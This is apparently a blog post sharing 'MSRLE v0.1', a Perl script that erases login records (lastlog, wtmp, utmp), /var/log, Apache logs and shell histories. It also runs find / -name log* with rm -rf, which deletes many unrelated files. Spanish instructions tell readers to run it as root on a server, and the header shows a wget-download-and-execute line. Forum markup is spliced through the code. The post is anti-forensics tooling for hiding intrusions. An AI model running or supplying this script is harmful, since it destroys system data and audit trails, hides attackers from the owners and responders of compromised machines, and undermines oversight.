1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 | ######################################################################################################### # log eraser MSRLE v0.1 # # # # coded by PRI[ll # # # # 03/07/2005 # # # # Morocco.security.rulz /s irc.gigachat.net -j #MSR # # # # usage:(you should run this tool as root (sure =))) exemple: # # # # [root@MOROCCO:/root]# wget www.go0gler.com/MSRLE;chmod 777 MSRLE;./MSRLE # # !!!!! MSRLE v0.1!!!!! # # !!!!coded by PRI[ll!!!! # # <ul class="bbc_list"><li type="disc">erasing default log files (too fast =)) #[/li][/list] # </li><li type="disc">/var/log/lastlog -erased Ok #[/li][/list] # </li><li type="disc">/var/log/wtmp -erased Ok #[/li][/list] # </li><li type="disc">/etc/wtmp - No such file or directory #[/li][/list] # the_r00t3er@hotmail.com# ######################################################################################################### #!usr/bin/perl use strict; print "!!!!! MSRLE v0.1!!!!!\n"; print "Morocco.Security.Rulz.Log.Eraser\n"; print "!!!!coded by PRI[ll!!!!\n"; system "echo -e \"\033[01;34m---------erasing default log files (too fast =))---------\033[01;37m\"\n"; if( -e "/var/log/lastlog" ) { system 'rm -rf /var/log/lastlog'; system "echo -e \"\\033[01;37m </li><li type="disc">/var/log/lastlog -erased Ok\"\n";[/li][/list] } else { system "echo -e \"\\033[01;31m</li><li type="disc">/var/log/lastlog - No such file or directory\\033[01;37m\"\n";[/li][/list] } if( -e "/var/log/wtmp" ) { system 'rm -rf /var/log/wtmp'; system "echo -e \"\\033[01;37m </li><li type="disc">/var/log/wtmp -erased Ok\"\n";[/li][/list] } else { system "echo -e \"\\033[01;31m</li><li type="disc">/var/log/wtmp - No such file or directory\\033[01;37m\"\n";[/li][/list] } if( -e "/etc/wtmp" ) { system 'rm -rf /etc/wtmp'; system "echo -e \"\\033[01;37m </li><li type="disc">/etc/wtmp -erased Ok\"\n";[/li][/list] } else { system "echo -e \"\\033[01;31m</li><li type="disc">/etc/wtmp - No such file or directory\\033[01;37m\"\n";[/li][/list] } if( -e "/var/run/utmp" ) { system 'rm -rf /var/run/utmp'; system "echo -e \"\\033[01;37m </li><li type="disc">/var/run/utmp -erased Ok\"\n";[/li][/list] } else { system "echo -e \"\\033[01;31m</li><li type="disc">/var/run/utmp - No such file or directory\\033[01;37m\"\n";[/li][/list] } if( -e "/etc/utmp" ) { system 'rm -rf /etc/utmp'; system "echo -e \"\\033[01;37m </li><li type="disc">/etc/utmp -erased Ok\"\n";[/li][/list] } else { system "echo -e \"\\033[01;31m</li><li type="disc">/etc/utmp - No such file or directory\\033[01;37m\"\n";[/li][/list] } if( -e "/var/log" ) { system 'rm -rf /var/log'; system "echo -e \"\\033[01;37m </li><li type="disc">/var/log -erased Ok\"\n";[/li][/list] } else { system "echo -e \"\\033[01;31m</li><li type="disc">/var/log - No such file or directory\\033[01;37m\"\n";[/li][/list] } if( -e "/var/logs" ) { system 'rm -rf /var/logs'; system "echo -e \"\\033[01;37m </li><li type="disc">/var/logs -erased Ok\"\n";[/li][/list] } else { system "echo -e \"\\033[01;31m</li><li type="disc">/var/logs - No such file or directory\\033[01;37m\"\n";[/li][/list] } if( -e "/var/adm" ) { system 'rm -rf /var/adm'; system "echo -e \"\\033[01;37m </li><li type="disc">/var/adm -erased Ok\"\n";[/li][/list] } else { system "echo -e \"\\033[01;31m</li><li type="disc">/var/adm - No such file or directory\\033[01;37m\"\n";[/li][/list] } if( -e "/var/apache/log" ) { system 'rm -rf /var/apache/log'; system "echo -e \"\\033[01;37m </li><li type="disc">/var/apache/log -erased Ok\"\n";[/li][/list] } else { system "echo -e \"\\033[01;31m</li><li type="disc">/var/apache/log - No such file or directory\\033[01;37m\"\n";[/li][/list] } if( -e "/var/apache/logs" ) { system 'rm -rf /var/apache/logs'; system "echo -e \"\\033[01;37m </li><li type="disc">/var/apache/logs -erased Ok\"\n";[/li][/list] } else { system "echo -e \"\\033[01;31m</li><li type="disc">/var/apache/logs - No such file or directory\\033[01;37m\"\n";[/li][/list] } if( -e "/usr/local/apache/log" ) { system 'rm -rf /usr/local/apache/log'; system "echo -e \"\\033[01;37m </li><li type="disc">/usr/local/apache/log -erased Ok\"\n";[/li][/list] } else { system "echo -e \"\\033[01;31m</li><li type="disc">/usr/local/apache/log - No such file or directory\\033[01;37m\"\n";[/li][/list] } if( -e "/usr/local/apache/logs" ) { system 'rm -rf /usr/local/apache/logs'; system "echo -e \"\\033[01;37m </li><li type="disc">/usr/local/apache/logs -erased Ok\"\n";[/li][/list] } else { system "echo -e \"\\033[01;31m</li><li type="disc">/usr/local/apache/logs - No such file or directory\\033[01;37m\"\n";[/li][/list] } if( -e "/root/.bash_history" ) { system 'rm -rf /root/.bash_history'; system "echo -e \"\\033[01;37m </li><li type="disc">/root/.bash_history -erased Ok\"\n";[/li][/list] } else { system "echo -e \"\\033[01;31m</li><li type="disc">/root/.bash_history - No such file or directory\\033[01;37m\"\n";[/li][/list] } if( -e "/root/.ksh_history" ) { system 'rm -rf /root/.ksh_history'; system "echo -e \"\\033[01;37m </li><li type="disc">/root/.ksh_history -erased Ok\"\n";[/li][/list] } else { system "echo -e \"\\033[01;31m</li><li type="disc">/root/.ksh_history - No such file or directory\\033[01;37m\"\n";[/li][/list] } system "echo -e \"\\033[01;37m</li><li type="square"> -----done all default log and bash_history files erased !!\"\n";[/li][/list] system "echo -e \"\033[01;34m---------Now Erasing the rest of the machine log files (can be long :S)---------\033[01;37m\"\n"; system 'find / -name *.bash_history -exec rm -rf {} \;'; system "echo -e \"\\033[01;37m</li><li type="disc"> all *.bash_history files -erased Ok!\"\n";[/li][/list] system 'find / -name *.bash_logout -exec rm -rf {} \;'; system "echo -e \"\\033[01;37m</li><li type="disc"> all *.bash_logout files -erased Ok!\"\n";[/li][/list] system 'find / -name log* -exec rm -rf {} \;'; system "echo -e \"\\033[01;37m</li><li type="disc"> all log* files -erased Ok!\"\n";[/li][/list] system 'find / -name *.log -exec rm -rf {} \;'; system "echo -e \"\\033[01;37m</li><li type="disc"> all *.log files -erased Ok!\"\n";[/li][/list] system "echo -e \"\033[01;34m-------</li><li type="square"> !done all log files erased!</li><li type="square">-------\033[01;37m\"\n";[/li] |
Bueno pegan el code en el block de notas y lo guardan con la extension *.pl (obvio)
Una vez que "sean root" en el server, la dan permisos 777:
chmod -c 777 log.pl
Despues la ejecutan:
perl log.pl
Ahi comenzara a buscar los logs y a borrar.
0 comentarios: sobre Script perl para borrar logs en Linux
Publicar un comentario para Script perl para borrar logs en Linux